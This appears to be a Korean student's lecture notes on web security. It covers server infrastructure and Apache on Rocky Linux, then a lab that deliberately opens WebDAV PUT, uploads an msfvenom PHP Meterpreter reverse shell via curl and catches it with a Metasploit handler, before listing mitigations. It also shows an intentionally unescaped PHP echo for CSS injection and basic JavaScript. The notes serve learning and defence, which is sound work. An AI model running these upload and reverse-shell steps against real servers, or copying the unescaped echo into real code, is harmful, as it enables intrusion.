웹 어플리케이션 보안 프로그래밍

틈메이러·2024년 9월 23일

필기

목록 보기
10/16
post-thumbnail

🍅인프라

1. 서버 인프라

온프레미스(On-Premise)

조직 내부의 서버나 데이터 센터에 직접 설치하고 운영하는 방식
서버나 데이터베이스 같은 IT 자산을 직접 소유하고 관리하는 환경


클라우드(AWS, Azure, GCP)

서버, 데이터베이스 등 IT 인프라를 클라우드 제공자(AWS, Azure, GCP 등)의 데이터 센터에 호스팅하는 방식으로, 필요한 만큼만 사용하고 그에 따라 요금을 지불하는 유연한 모델


2. 서버 인프라의 구조

서버 인프라를 구축할 때 일반적으로 리눅스 기반 서버도커(Docker)를 사용하여 컨테이너화하고, 이를 쿠버네티스(Kubernetes)로 관리하는 방식이 주로 사용


단점
자원 낭비: 애플리케이션 간 자원 경쟁으로 성능 저하 발생
의존성 문제: 애플리케이션이 특정 OS나 하드웨어에 종속되어 호환성 문제 발생
확장성 부족: 수평적 확장이 어려워 물리적 자원 추가에 한계
운영체제 관리 복잡성: OS 유지보수 및 관리가 복잡하고 부담스러움



단점
성능 저하: 가상화 환경에서는 하이퍼바이저가 하드웨어 자원을 중개하기 때문에, 직접 하드웨어에 접근하는 물리적 서버에 비해 성능이 떨어질 수 있다
복잡성 증가: 가상머신(VM)을 여러 개 운영하면, 각 VM에 대해 운영체제와 애플리케이션을 개별적으로 관리해야 하기 때문에 시스템 관리가 복잡해진다
높은 자원 소모: 각 VM이 독립된 운영체제를 실행하므로, 메모리, CPU 등의 자원이 많이 소모된다
특히 여러 VM을 실행하면 리소스가 금방 부족해질 수 있다
보안 취약성: 하이퍼바이저 자체가 공격 대상이 될 수 있으며, 하나의 VM에서 보안 문제가 발생하면 다른 VM에 영향을 미칠 수 있다
라이선스 비용: 가상화 소프트웨어와 VM을 관리하기 위한 추가적인 라이선스 비용이 발생할 수 있다



단점
보안 취약성: 컨테이너는 호스트 운영체제를 공유하므로, 하나의 컨테이너에서 보안 문제가 발생하면 다른 컨테이너나 호스트 시스템에 영향을 미칠 수 있다
복잡한 네트워크 구성: 여러 컨테이너가 서로 통신해야 하는 복잡한 네트워크 설정이 필요하며, 관리가 까다로울 수 있다
퍼포먼스 오버헤드: 가상머신(VM)에 비해 경량이지만, 여전히 운영체제를 일부 공유하기 때문에 네이티브 환경보다는 성능이 약간 떨어질 수 있다
데이터 관리의 어려움: 컨테이너는 일시적(스테이트리스)인 특성이 강하기 때문에, 지속적인 데이터 관리(스테이트풀)를 위한 별도의 전략이 필요하다
호환성 문제: 컨테이너화된 애플리케이션이 특정 하드웨어나 OS 환경에서 호환성 문제를 겪을 수 있다


3. VPC

VPC(Virtual Private Cloud)는 가상 사설 클라우드 네트워크로, 퍼블릭 클라우드 환경에서 사용자가 자신의 독립된 네트워크 환경을 설정하고 관리할 수 있도록 하는 서비스

VPC는 클라우드 제공자(AWS, Azure, Google Cloud 등)의 물리적 인프라 위에 격리된 가상 네트워크를 구축하는 방식으로 작동

자세한 내용 참고



🍅서버

1. 리눅스 서버

리눅스 상 기본 웹 경로

/var/www/html

systemctl status httpd			//상태 확인
systemctl start httpd			//활성화 안 되어있을 시
systemclt enable httpdc		//활성화 안 되어있을 시

getenforce					//시스템 보안 설정 확인

sudo firewall-cmd --list-all		//방화벽 설정 확인

sudo firewall-cmd --add-service=http --permanent

서버 ip로 접속


서버ip/data를 했을 시


/data해서 접근하는 것을 막기 위해
sudo vim /etc/httpd/conf/httpd.conf
에서 코드 수정

<Directory "/var/www/html">
    #
    # Possible values for the Options directive are "None", "All",
    # or any combination of:
    #   Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
    #
    # Note that "MultiViews" must be named *explicitly* --- "Options All"
    # doesn't give it to you.
    #
    # The Options directive is both complicated and important.  Please see
    # http://httpd.apache.org/docs/2.4/mod/core.html#options
    # for more information.
    #
    Options Indexes FollowSymLinks

Options Indexes FollowSymLinks에서 Indexes를 지우면 된다


리눅스 DNS 주소 세팅

sudo vim /etc/resolv.conf

여기서 dns주소를 바꿔도 바로 적용이 되지는 않음
실제 시스템이 인식하는 주소도 바꿔줘야함


sudo nmtui



여기서도 내 dns주소를 바꿔줘야한다


2. 취약점 실습

sudo setenforce 0
getenforce			> Permissive 나오는지 확인

sudo setenforce 명령어는 SELinux(Security-Enhanced Linux)의 실행 모드를 설정하는 명령어
SELinux는 리눅스 시스템의 보안 정책을 강화하는 일종의 접근 제어 시스템
setenforce 명령어는 SELinux 모드강제(enforcing) 또는 허용(permissive) 모드로 전환할 수 있게 해준다


주요 SELinux 모드

Enforcing: SELinux가 강제 모드로 동작하며, 정책에 위배되는 모든 접근 시도를 차단
이 모드에서 SELinux는 완전히 활성화되어 보안 정책을 엄격하게 적용

Permissive: SELinux가 허용 모드로 동작하며, 정책을 위반하는 접근 시도는 기록되지만 차단하지 않음
이 모드는 주로 정책을 디버깅하거나 테스트할 때 사용

Disabled: SELinux가 완전히 비활성화된 상태
이 상태에서는 setenforce 명령어를 사용할 수 없다


취약점 만들기

  1. 로키리눅스 실행
sudo vim /etc/httpd/conf/httpd.conf
  1. 파일 코드 추가
LoadModule dav_module modules/mod_dav.so
LoadModule dav_fs_module modules/mod_dav_fs.so

<Directory "/var/www/html/data">
        options Indexes FollowSymLinks
        AllowOverride None
        Require all granted
        Dav on

        <Limit PUT>
                Require all granted
        </Limit>
</Directory>
  1. 설정 후 재시작
 sudo systemctl restart httpd

백도어를 통한 공격

nikto -h http://공격대상(로키리눅스ip)/폴더

nikto -h http://192.168.100.131/data

백도어 생성

msfvenom -p/meterpreter/reverse_tcp lhost=공격자ip(칼리리눅스)

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.100.133 lport=4444 -f raw

/*<?php부터 코드 끝까지 복사하여 shell.php라는 파일 생성


http://192.168.100.131/data/ 에 shell.php 삽입 방법

1번째 방법
curl -T shell.php http://192.168.100.131/data/shell.php

2번째 방법
cadaver http://192.168.100.131/data/

put shell.php

결과

Metasploit을 통한 실습

해당 명령어들을 통해, 내가 설정한 리스너(192.168.100.133 IP, 4444 포트)로 리버스 쉘을 받을 수 있는 환경을 만드는 과정

use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.100.133
set lport 4444
exploit

use exploit/multi/handler:
Metasploit에서 사용할 모듈을 선택하는 명령
handler 모듈은 공격 대상이 리버스 쉘을 보내왔을 때 이를 받아주는 역할

set payload php/meterpreter/reverse_tcp:
공격에 사용할 페이로드를 설정
php/meterpreter/reverse_tcp는 PHP 기반 웹서버에서 리버스 TCP 연결을 통해 Meterpreter 세션을 생성
이를 통해 공격자는 피해자의 시스템을 원격으로 제어할 수 있다

set lhost 192.168.100.133:
LHOST는 공격자의 IP 주소를 설정하는 명령어
즉, 공격 대상이 리버스 쉘을 보낼 IP 주소로 192.168.100.133을 지정

set lport 4444:
LPORT는 공격자가 리버스 연결을 받을 포트
4444 포트를 사용하도록 설정한 것

exploit:
설정한 페이로드와 리스너를 시작하고, 리버스 쉘을 기다리는 명령어
피해자가 페이로드를 실행하면 이 명령을 통해 공격자의 시스템으로 연결



공격 예시


php 실행이 되도록 설정

sudo vim /etc/php.ini
sudo systemctl restart php-fpm
sudo vim /etc/httpd/conf/httpd.conf
sudo systemctl restart httpd
sudo vim /var/www/html/info.php 

info.php
<?php
	phpinfo()
?>

phpinfo를 통해 php 설정이 잘 되었는지 확인


위 공격을 막는 방법

  1. sudo setenforce 1

  2. sudo chmod 755 /var/www/html/

  3. Limit Put 제거(httpd.conf)

  4. Indexes 제거


🍅CSS

1. CSS 선택자

CSS 선택자 종류

	   /* 전체 선택자 */
      * {
           color: blue;
       }

       /* 태그 선택자 */
       h1 {
           color: red;
       }

       /* class 선택자 */
       .text_c {
           color: green;
       }

       /* id 선택자 */
       #text_c2 {
           color: yellow;
       }

규모⬅️
전체 태그 클래스 아이디 인라인스타일
우선순위 ➡️


2. CSS Injection

css_injection_1.php파일 생성
해당 파일은 form태그에서 입력받은 값을 php 코드를 통해 보여줌

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
    <style>
        body {
            background-color: lightblue;
        }

        h1 {
            color: green;
        }

        .user-input {
            color: black;
            font-size: 20px;
        }
    </style>
</head>
<body>
    <h1>Welcome to our SITE</h1>
    <form action="" method="get">
        <label for="username">Enter your name:</label>
        <input id="username" name="username" type="text">
        <input type="submit" value="search">
    </form>
    <!-- 입력 내용이 그대로 드러남 -->
    <div class="user-input">
        <p>Welcome, <?php echo $_GET['username']; ?>!</p>
    </div>
</body>
</html>

해당 결과 창 url에 밑 코드를 입력하면 CSS Injection이 적용된다

><style>body{background-color: red !important;}</style>



🍅JavaScript

1. 문법

문자열

문자열은 ""로 묶어준다
""를 중복해서 사용할 경우 \를 사용하여 \"문자열\"로 사용
개행: \n
탭: \t
백슬래시 표현: \\

문자열끼리의 합 가능

alert("he" + "like" + "pizza");

문자열 반복

alert("he".repeat(3));

he 3번 반복


수치형 자료형

파이썬과 쓰는 방법이 비슷

alert(30);
alert(3.14);
alert(3+4);

몫: alert(Math.floor(17/3));
나머지: alert(17%3);


Boolean

alert(3>5);

Flase

alert(3<5);

True

alert(1 > "가방");

False

alert("가방" = "가방");

True

alert(true > flase);

True


변수선언

var pi;
pi = 3.14;
alert(pi);

타입확인

alert(typeof pi)

복합대입연산자

<script>
        // window.onload 스크립트 전부 실행 후 마지막에 실행
        window.onload = function(){
            var list = '';
            list += '<ul>';
            list += '    <li>hello</li>';
            list += '    <li>js</li>';
            list += '</ul>';
           
            document.body.innerHTML = list
        }
    </script>

typeof()

string

alert(typeof ('string'));         
alert(typeof 'string');    

number

alert(typeof 123);

boolean

alert(typeof true);

function

alert(typeof (function() {}))

object, 파이썬의 딕셔너리같은 것

alert(typeof ({})); 

undefined, 변수가 정의되지 않음

alert(typeof (apple));        

input

prompt() 함수는 입력을 받을 때 사용(가급적 변수에 넣는 형태)

var input = prompt();
alert(input);
var input2 = prompt('message');
alert(input2);

confirm 함수는 확인 취소가 뜨고 true나 false를 반환

var tf = confirm('수락하시겠습니까?');
alert(tf);

배열

배열 안에는 함수, 문자열, 오브젝트, 배열이 들어갈 수 있다

var array = [273, 'string', true, function(){}, {}, [273, 'str2']];

조건문

if (조건) {}
else (조건) {}
else if (조건) {}

Switch Case

switch(true) {
	case (hour == 0):
		alert("정각");
		break;
	case (hour ==1):
		alert("1시");
		break;
}

While

while(조건문) {수행할 문장;}

while (true) {
	alert("무한반복");
}

profile
나는야 멋쟁이 토마토

0개의 댓글